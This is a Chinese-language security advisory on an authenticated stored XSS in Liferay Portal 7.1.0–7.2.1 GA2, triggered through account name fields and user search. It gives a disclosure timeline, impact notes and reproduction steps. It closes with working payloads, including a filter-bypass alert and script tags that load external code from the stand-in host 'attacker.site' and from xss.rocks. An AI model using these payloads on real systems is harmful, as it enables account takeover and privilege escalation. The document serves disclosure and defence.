LifeRay 7.2.1 GA2 中通过 MyAccountPortlet 的搜索结果触发的认证存储型 XSS

在 LifeRay 7.1.0 至 7.2.1 GA2 版本中，用户账户的“名字”、“中间名”和“姓氏”字段均存在存储型 XSS 漏洞。任何用户都可以使用特定的 XSS 载荷修改这些字段，该载荷将被存储到数据库中，"感染"该用户。当其他用户使用搜索功能搜索其他用户时，该载荷会被渲染。如果被感染的用户出现在搜索结果中，XSS 载荷将执行。

• 作者/研究员: Casey Erdmann
• 发现日期: 2019年10月17日
• 最后修订: 2020年10月5日
• 私下披露: 2019年10月18日
• 公开披露: 2020年1月27日 (博客文章)
• 修复版本: 2020年1月30日 Liferay Portal 7.3.0 GA1
• 概念验证发布: 2020年10月5日

影响

此漏洞允许攻击者在任何触发 XSS 载荷（通过搜索）的用户上下文中执行任意代码。在实际应用中，这可能导致非特权用户权限提升为管理员用户，以及横向移动以接管其他账户。此外，任何可通过 JavaScript 执行的操作都能在其他用户的上下文中被利用。

正如你在概念验证（PoC）中所见，在默认情况下，攻击者能够轻松加载外部脚本，这使得该漏洞非常开放。

大多数重要的会话 Cookie 都标记为 HTTPOnly，这在一定程度上阻止了简单的会话劫持技术。但需要注意的是，使用旧版浏览器的用户由于 XST 攻击，受到的影响更大。

由于管理员用户可以执行 Gogo Shell 和 Groovy 脚本命令，因此也可能将此漏洞与这些本意良好的功能结合使用，从非特权用户出发，在主机系统上获得意外的远程代码执行（RCE）。

复现步骤

要触发此漏洞，必须满足两个条件：

1. 你必须拥有一个可修改其“名字”、“中间名”或“姓氏”字段的用户账户。
2. 你的用户必须在 LifeRay 中可被搜索到。通常这意味着用户需要被添加到某个站点。默认情况下，用户可以将自己添加到基础站点，从而无需进一步授权即可使自己可被搜索。

一旦满足这些条件，可按照以下步骤利用漏洞：

1. 以你所拥有的用户身份登录
2. 导航到“账户设置”部分
   • 点击个人资料图标 > “账户设置”
   • URL 应类似于：http://mysite.com/user/hacker/manage?p_p_id=com_liferay_my_account_web_portlet_MyAccountPortlet&p_p_lifecycle=0&p_p_auth=??????
3. 在表单中修改“名字”、“中间名”或“姓氏”字段，填入你的 XSS 载荷（参见下面的 PoC 示例），然后点击“保存”
4. 如果你尚未加入任何站点，可以通过导航到 http://mysite.com/user/hacker/home/-/my_sites/sites/available-sites?_com_liferay_site_my_sites_web_portlet_MySitesPortlet_displayStyle=descriptive 并点击右侧的“三点”图标选择“加入”来加入一个站点。
5. 搜索你的用户以触发 XSS 载荷：http://mysite.com/web/guest/search?q=<my user>
   • 为了测试并展示对另一个用户的影响：
     • 以第二个用户身份登录，搜索“被感染的用户”，XSS 载荷也会在其上下文中执行。

简单告警 PoC

• <<SCRIPT>alert("XSS");//<</SCRIPT>

外部脚本及过滤器绕过 PoC

• <SCRIPT SRC="//attacker.site/payload.js">
• 试试用 xss.rocks 演示！
  • <SCRIPT SRC="//xss.rocks/xss.js"/>

报告版本 4.0